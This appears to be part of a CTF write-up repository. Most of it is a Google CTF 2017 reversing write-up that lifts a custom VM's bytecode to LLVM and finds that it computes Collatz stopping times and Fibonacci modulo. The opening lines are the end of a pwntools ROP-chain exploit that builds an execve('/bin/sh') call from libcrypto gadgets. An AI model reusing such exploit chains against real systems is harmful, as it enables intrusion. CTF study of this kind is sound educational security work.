rop += rebase_0(0x001e21a0) 307 | rop += rebase_0(0x0011fdc8) # 0x0011fdc8: mov dword ptr [edx], eax; ret; 308 | rop += rebase_0(0x000c9146) # 0x000c9146: pop eax; ret; 309 | rop += 'n/sh' 310 | rop += rebase_0(0x00009328) # 0x00009328: pop edx; ret; 311 | rop += rebase_0(0x001e21a4) 312 | rop += rebase_0(0x0011fdc8) # 0x0011fdc8: mov dword ptr [edx], eax; ret; 313 | rop += rebase_0(0x000c9146) # 0x000c9146: pop eax; ret; 314 | rop += p32(0x00000000) 315 | rop += rebase_0(0x00009328) # 0x00009328: pop edx; ret; 316 | rop += rebase_0(0x001e21a8) 317 | rop += rebase_0(0x0011fdc8) # 0x0011fdc8: mov dword ptr [edx], eax; ret; 318 | rop += rebase_0(0x0000641e) # 0x0000641e: pop ebx; ret; 319 | rop += rebase_0(0x001e21a0) 320 | rop += rebase_0(0x00004c32) # 0x00004c32: pop ecx; ret; 321 | rop += rebase_0(0x001e21a8) 322 | rop += rebase_0(0x00009328) # 0x00009328: pop edx; ret; 323 | rop += rebase_0(0x001e21a8) 324 | rop += rebase_0(0x000c9146) # 0x000c9146: pop eax; ret; 325 | rop += p32(0x0000000b) 326 | rop += rebase_0(0x0014d146) # 0x0014d146: int 0x80; 327 | 328 | do_rop(rop, libcrypto_base) 329 | 330 | p.interactive() 331 | ``` 332 | -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/README.md: -------------------------------------------------------------------------------- 1 | [writeup by abiondo & kenoph] 2 | 3 | **CTF:** Google CTF 2017 (Quals) 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** Reversing / Counting 8 | 9 | **Points:** 246 10 | 11 | # The challenge 12 | 13 | ``` 14 | This strange program was found, which apparently specialises in counting. In order to find the flag, you need to output find what the output of ./counter 9009131337 is. 15 | 16 | Update: Seems we have a minor bug in Counting - 32-bit truncation on getting the argument from command line. To get the flag you need to calculate the result of executing code for the full 64-bit 9009131337 value as the description states. A result for a truncated 32-bit value won't give you the correct result. We apologize for the inconvenience. 17 | ``` 18 | 19 | We are given [two files](./challenge): 20 | 21 | ``` 22 | code: data 23 | counter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ac70b7c58cc7989f829c0f0d50431ea0a92cbefb, stripped 24 | ``` 25 | 26 | We don't know what `code` is. Let's try running some inputs: 27 | 28 | ``` 29 | $ for i in 32 33 34 35; do /usr/bin/time -f "%e" ./counter $i; done 30 | CTF{0000000000000075} 31 | 2.59 32 | CTF{0000000000000200} 33 | 4.10 34 | CTF{0000000000000148} 35 | 6.46 36 | CTF{000000000000009d} 37 | 10.68 38 | ``` 39 | 40 | That looks like exponential time. Running the program with the provided input isn't going to finish any time soon. Maybe if we figure out what it's calculating we can write a more efficient algorithm for it. Let's get to reversing! 41 | 42 | We open it up in IDA and start going through it with the Hex-Rays Decompiler. We quickly figure out we're looking at a VM that loads its bytecode from the `code` file, verifies it's valid and finally executes it. Reversing the VM is quite easy, especially with the decompiler, so we won't be going into the details. Cleaned up and recompilabile source code is [available](./reverse/counter.c). 43 | 44 | It is clear now that we'll have to reverse the bytecode. Sounds like fun. 45 | 46 | # The VM 47 | 48 | The `code` file starts with a 4-byte integer that specifies the number of instructions that follow. Instructions are labeled in the order the appear in the file, so the first one is instruction 0, the second one is instruction 1 and so on. Each instruction is a 16-byte structure with four 4-byte fields: 49 | 50 | - **Opcode:** indicates the type of instruction; 51 | - **Operand:** depends on the opcode; 52 | - **Next 1 and 2:** labels of the next instructions to execute. 53 | 54 | The VM has 26 64-bit registers, indexed 0 - 25. There are three opcodes (we made up mnemonics for them): 55 | 56 | - `INC = (0, reg, next1, _unused_)`: `reg++; goto next1;` 57 | - `CDEC = (1, reg, next1, next2)`: `if (reg > 0) { reg--; goto next1; } else { goto next2; }` 58 | - `CALL = (2, n, next1, next2)`: `r0..r{n-1} = next1(r0, r1, ..., r25); goto next2;` 59 | 60 | The first interesting thing to note is that every instruction specifies where to jump next. `INC` is what you would expect it to be, but `CDEC` and `CALL` are tricky. 61 | `CDEC`can be used to implement all sorts of control flows thanks to its conditional statement, while `CALL` has potentially many return values. 62 | 63 | The VM stops when it reaches the instruction past the last one, which in our case is 119 (since we have 119 instructions). If it's inside a `CALL`, it returns. 64 | 65 | # Preliminary Analysis 66 | 67 | Before deciding what to do, we needed to figure out how the instructions are used in the actual bytecode we were given. 68 | 69 | The first step was to write a [simple disassembler](./tools/disasm.py) that would output a human-readable version of the bytecode. The output was something like this: 70 | 71 | ```asm 72 | ... 73 | 65: cdec r3, 65, 66 ; Xrefs: 65 74 | 66: cdec r0, 67, 68 ; Xrefs: 67 75 | 67: inc r3, 66 76 | 68: cdec r3, 69, 119 ; Xrefs: 66 77 | ... 78 | ``` 79 | 80 | Using some simple bash kung fu, we were able to immediately figure out which registers are actually used: 81 | 82 | ```bash 83 | $ grep -oP 'r\d+' code.asm | sort | uniq 84 | r0 85 | r1 86 | r2 87 | r3 88 | r4 89 | r25 90 | ``` 91 | 92 | That `r25` register looks suspicious... Another quick `grep`: 93 | 94 | ```bash 95 | $ grep 'inc r25' code.asm | wc -l 96 | 0 97 | ``` 98 | 99 | So `r25` is never incremented. This is interesting because its initial value is zero, so we can assume `r25 = 0` in the entire program. This allows us to translate code like `CDEC r25, next1, next2` into an unconditional jump to `next2`. 100 | 101 | We can check how many return registers are actually used by calls: 102 | 103 | ```bash 104 | $ grep -Po '(?<=call {)[^}]*' code.asm | sort | uniq 105 | r0 106 | r0, r1 107 | ``` 108 | 109 | Nice, two at most. 110 | 111 | At this point, we were starting to wonder whether to use a manual approach or an automatic one to tackle the challenge. For this reason, we wrote a [small python script](./tools/callgraph.py) to generate the callgraph of the bytecode. Here's the result: 112 | 113 | ![The callgraph](./graphs/callgraph.png) 114 | 115 | It also generates nice CFGs, for example for the function at 20: 116 | 117 | ![CFG for 20](./graphs/function_20.png) 118 | 119 | The callgraph doesn't look too bad, but there's some recursion going on. All those simple instructions were messing with our brains. We didn't study CS for this! 120 | 121 | # Lifting the bytecode 122 | 123 | Being the lazy millennials we are, we clearly needed some(one|thing) to offload the manual work to. We thought of lifting the bytecode to LLVM intermediate language. We then grab (yet another) coffee, let the LLVM optimizers do some unspeakable black magic, and presto! we have greatly cleaned-up IL. There are tools to decompile LLVM IL to C (e.g. fcd, CppBackend), but as always happens during CTFs we either had issues getting them to work or the output wasn't that good. So we trusted that compiling and then feeding it into the decompiler would do. The final tool is available [here](./tools/transllvm.py). 124 | 125 | ## SSA form basics 126 | 127 | The LLVM IL is in SSA (Static Single Assignment) form. If you already know what it is, then you can skip ahead to the next section. Otherwise, bear with us for a moment. SSA means that each variable is assigned exactly once through the whole code. In our case, the registers are variables. When we change the value of a register, what we really do is creating a new variable to which we assign the new value. The current register state keeps track of the most recent version of each register. 128 | 129 | There is a small hiccup to be solved. Imagine, at a higher level, you have code like this that you want to transform into SSA form: 130 | 131 | ``` 132 | if (x < 10) 133 | y = 42; 134 | else 135 | y = 1337; 136 | do_something(y); 137 | ``` 138 | 139 | When restructured into basic blocks it'll look like: 140 | 141 | ``` 142 | +-----------+ 143 | | | 144 | | x < 10? | 145 | | | 146 | +-----+-----+ 147 | | 148 | true +--------+--------+ false 149 | | | 150 | +------v-----+ +------v-----+ 151 | | | | | 152 | | y = 42 | | y = 1337 | 153 | | | | | 154 | +------+-----+ +------+-----+ 155 | | | 156 | +--------+--------+ 157 | | 158 | +---------v---------+ 159 | | | 160 | | do_something(y) | 161 | | | 162 | +-------------------+ 163 | ``` 164 | 165 | This is not in SSA form, since `y` is assigned twice (even though it's in different blocks). We solve this by creating two separate versions of `y`, one for each assignment. But if we use different variables, how do we know which one we should use in the `do_something` block? The answer is that we define a *phi function* that selects a variable based on the predecessor block, like this: 166 | 167 | ``` 168 | +-----------+ 169 | | | 170 | | x < 10? | 171 | | | 172 | +-----+-----+ 173 | | 174 | true +--------+--------+ false 175 | | | 176 | +------v-----+ +------v-----+ 177 | | | | | 178 | | y1 = 42 | | y2 = 1337 | 179 | | | | | 180 | +------+-----+ +------+-----+ 181 | | | 182 | +--------+--------+ 183 | | 184 | +---------v---------+ 185 | | | 186 | | y = phi(y1, y2) | 187 | | do_something(y) | 188 | | | 189 | +-------------------+ 190 | ``` 191 | 192 | Where `phi(y1, y2)` takes the value of `y1` if we come from the `true` block, or the value of `y2` if we come from the `false` block. 193 | 194 | ## Bytecode translation 195 | 196 | The lifted code will have to be divided into functions. We mark the beginning of functions at next1 targets of `CALL` instructions. Two properties of the bytecode make this easy: 197 | 198 | - all calls to a given function always have the same return registers; 199 | - there are no simple branches to functions. 200 | 201 | Since the return register R0 is always present, it's passed back to the caller as the return value. If R1 is also a return register, then the function takes a pointer into which to store it as first argument. Every function also takes the 5 registers at the callsite, passed by value. 202 | 203 | For example, a function called by `CALL {R0}, foo, ...` would have this prototype: 204 | 205 | ``` 206 | // Returns r0 207 | int64_t foo(int64_t r0, int64_t r1, int64_t r2, int64_t r3, int64_t r4); 208 | ``` 209 | 210 | While one called by `CALL {R0, R1}, bar, ...` would be like: 211 | 212 | ``` 213 | // Returns r0, stores r1 in *r1_out 214 | int64_t bar(int64_t *r1_out, int64_t r0, int64_t r1, int64_t r2, int64_t r3, int64_t r4); 215 | ``` 216 | 217 | A function is also defined at instruction 0, acting as the bytecode entry point. It's never called and the only branches are like `CDEC R25, 0, X` which, as previously noted, never actually branch to 0. 218 | 219 | The lifted code for a function starts by allocating a scratch area on the stack, which will be used later. The current register state for the function is initialized from the passed (by value) registers. We can now generate the actual function body. When we reach a branch to 119, we store R1 into its pointer (if needed) and return R0. 220 | 221 | To generate the function body we use an instruction-per-instruction, depth-first exploration strategy. Each instruction marks the beginning of a new basic block. We terminate the previous block with a branch to the new block. 222 | 223 | We start the new block with a phi node for each register. The nodes are initialized with a mapping between the edge from the previous block and the current register state. References to the block and its phi nodes are saved for later use (inside the same function). When we encounter a branch to a block that we already translated, we generate a branch to it and add the new incoming edge to its phi nodes, mapping it to the current register state. 224 | 225 | Let's now look at how we lift an instruction into the block body. 226 | 227 | The `INC` opcode is easy: we just increment the register and go on to translate next1. 228 | 229 | For `CDEC` we first check whether we are working with R25: if so, we can just go straight to translating next2 (because R25 is always zero). Otherwise we generate a comparison to check whether the register is zero. If it isn't, we decrement it and (recursively) translate next1. Otherwise, we go on to translate next2. 230 | 231 | For `CALL`, we simply generate a call and assign the return value to R0. If the callee also returns R1, we pass it the address of the scratch area as the pointer, and after the call we load R1 from there. This is needed because our local registers are just IL values, which don't have an address. 232 | 233 | Since the VM initializes R0 to the input and the other registers to zero, we create an `int64_t entry(int64_t input)` function that initializes the register state and calls the function at 0. It then returns R0, which is the output. 234 | 235 | Now, don't think even for a second this was the first algorithm we came up with. We did plenty of idiotic stuff: 236 | 237 | - building more versions of LLVM than one should in a year; 238 | - passing registers as arrays, pointers, mixed types, structures and probably something else, too (this affects optimizability); 239 | - forgetting Python constructs mutable default arguments only once; 240 | - messing up phi nodes, in more than one way; 241 | - trying to write an LLVM lifter during a CTF when neither you nor anyone in your team ever touched LLVM IL. 242 | 243 | But we knew all about SSA form, so we had that going for us. 244 | 245 | # Optimizing the bytecode 246 | 247 | Before optimizations, we're looking at 11 functions over 1.3k lines of IL. We enable some aggressive inlining, which allows the other default passes to do wonders in terms of code clean-up (mostly through constant folding, copy propagation and the like). We also run a dead argument elimination pass. After optimizations, we're left with 2 functions (only one of which is recursive) over 150 lines of IL. Not bad, uh? ;) 248 | 249 | We found that even with the same optimizations, different LLVM versions produced different output, both at the IL level and (more importantly) when compiled and ran through the decompiler. We'll appeal to Clarke's third law to mask our cluelessness and just say that out of everything we tested, MCJIT from LLVM 3.9 produced the cleanest code once decompiled. 250 | 251 | # Reversing the bytecode 252 | 253 | Time to crack the [translated binary](./out/code_llvm) open in IDA. This is what the decompiler gives us for `entry`: 254 | 255 | ```c 256 | int __fastcall entry(unsigned __int64 a1) { 257 | int result; // eax@2 258 | __int64 v2; // rsi@3 259 | unsigned __int64 v3; // r8@3 260 | __int64 v4; // rcx@5 261 | unsigned __int64 v5; // r9@5 262 | unsigned __int64 v6; // rdx@6 263 | unsigned __int64 v7; // rax@6 264 | 265 | if (a1 >= 11) { 266 | v2 = 0LL; 267 | v3 = a1; 268 | do { 269 | if (v3 >= 2) { 270 | v4 = 0LL; 271 | v5 = v3; 272 | do { 273 | v6 = 0LL; 274 | v7 = v5; 275 | while (v7) { 276 | if (v7 == 1) { 277 | v6 = 3 * v5 + 1; 278 | break; 279 | } 280 | v7 -= 2LL; 281 | ++v6; 282 | } 283 | ++v4; 284 | v5 = v6; 285 | } while (v6 >= 2); 286 | v2 += v4; 287 | } 288 | } while (v3-- != 0); 289 | result = sub_70(a1, v2); 290 | } else { 291 | result = 0; 292 | } 293 | return result; 294 | } 295 | ``` 296 | 297 | Quotients and remainders are calculated via subtraction loops that are easy to simplify. Let's manually clean it up a bit: 298 | 299 | ```c 300 | int __fastcall entry(unsigned __int64 n) { 301 | __int64 v2; // rsi@3 302 | unsigned __int64 v3; // r8@3 303 | __int64 v4; // rcx@5 304 | unsigned __int64 v5; // r9@5 305 | unsigned __int64 v6; // rdx@6 306 | unsigned __int64 v7; // rax@6 307 | 308 | if (n < 11) 309 | return 0; 310 | 311 | v2 = 0; 312 | v3 = n; 313 | for (v3 = n; v3 >= 2; v3--) { 314 | v4 = 0; 315 | v5 = v3; 316 | do { 317 | v6 = v5 / 2; 318 | v7 = v5 % 2; 319 | if (v7 == 1) 320 | v6 = 3 * v5 + 1; 321 | ++v4; 322 | v5 = v6; 323 | } while (v6 >= 2); 324 | v2 += v4; 325 | } 326 | 327 | return sub_70(n, v2); 328 | } 329 | ``` 330 | 331 | We can see it's traversing a sequence where the next value *f(x+1)* is *f(x)/2* if *x* is even or *3f(x)+1* if *x* is odd. We recognize that! It's working with [hailstone sequences](https://en.wikipedia.org/wiki/Collatz_conjecture). We can see that `v4` stores the length of the sequence, also known as *total stopping time*. The outer loop is going through all hailstone sequences for 2...*n*, summing all their stopping times into `v2`. Finally, the result is obtained as `sub_70(n, v2)`. 332 | 333 | Okay, let's look at `sub_70` now: 334 | 335 | ```c 336 | signed __int64 __fastcall sub_70(__int64 a1, __int64 a2) { 337 | signed __int64 result; // rax@1 338 | signed __int64 v3; // r15@3 339 | __int64 v4; // rcx@5 340 | __int64 v5; // rcx@8 341 | signed __int64 v6; // rdx@9 342 | 343 | result = 0LL; 344 | if (a1) { 345 | result = 1LL; 346 | if (a1 != 1) { 347 | v3 = sub_70(a1 - 1, a2); 348 | if (a2) { 349 | result = v3 + sub_70(a1 - 2, a2); 350 | do { 351 | v4 = 0LL; 352 | do { 353 | if (result == v4) 354 | return result; 355 | ++v4; 356 | } while (a2 != v4); 357 | v5 = 0LL; 358 | while (1) { 359 | v6 = 0LL; 360 | if (!(v5 + result)) 361 | break; 362 | if (!(--v5 + a2)) { 363 | v6 = v5 + result; 364 | break; 365 | } 366 | } 367 | result = v6; 368 | } while (a2); 369 | } 370 | while (1); 371 | } 372 | } 373 | return result; 374 | } 375 | ``` 376 | 377 | The `while (a2 != v4)` loop returns `result` if `result < a2`. Subtraction loops are used here, too, to calculate a remainder: the big `while (1)` loop subtracts `a2` from `result`. After some cleanup we're left with this: 378 | 379 | ```c 380 | signed __int64 __fastcall sub_70(__int64 n, __int64 m) { 381 | signed __int64 result; // rax@1 382 | 383 | if (n == 0) 384 | return 0; 385 | if (n == 1) 386 | return 1; 387 | 388 | while(m == 0); 389 | 390 | result = sub_70(n-1, m) + sub_70(n-2, m); 391 | return result % m; 392 | } 393 | ``` 394 | 395 | This is a recursive function with base cases `sub_70(0) = 0` and `sub_70(1) = 1`. In the recursive case, it calculates `sub_70(n-1, m) + sub_70(n-2, m)`, then takes it modulo *m*. This is simply the *n*-th [Fibonacci number](https://en.wikipedia.org/wiki/Fibonacci_number) modulo *m*. The infinite loop on `m == 0` makes sense since division by zero is not defined. 396 | 397 | We finally know how to generate the output from an input *n*: 398 | 399 | 1. Calculate *s* as the sum of the total stopping times for all hailstone sequences for 2...*n*; 400 | 2. Calculate the result as the *n*-th Fibonacci number modulo *s*. 401 | 402 | We wrote a [C program](./tools/solve.c) to find the flag more efficiently. We calculated stopping times the naive way (except we used `(3n + 1)/2` to perform two steps in one) - no caching. For Fibonacci we used a simple iterative solution that runs in linear time with *n*. While there are solutions in logarithmic time, we don't really care as the runtime is heavily dominated by the Collatz loop. 403 | 404 | ``` 405 | $ time ./solve 9009131337 406 | Sum: 2037448192360 407 | CTF{000001bae15b6382} 408 | ./solve 9009131337 2214.60s user 0.04s system 99% cpu 36:57.86 total 409 | ``` 410 | 411 | Profit! 412 | 413 | # Conclusion 414 | 415 | After this awesome writeup, there's a final question that needs to be answered: **was it worth it to do all of this just to avoid some manual reversing?** 416 | 417 | We will never know. 418 | 419 | What we do know is that staring at a screen without sleeping much is a recipe for screwing things up... and we also learnt some nice LLVM stuff as a bonus. Now we know kung fu. 420 | --------------------------------------------------------------------------------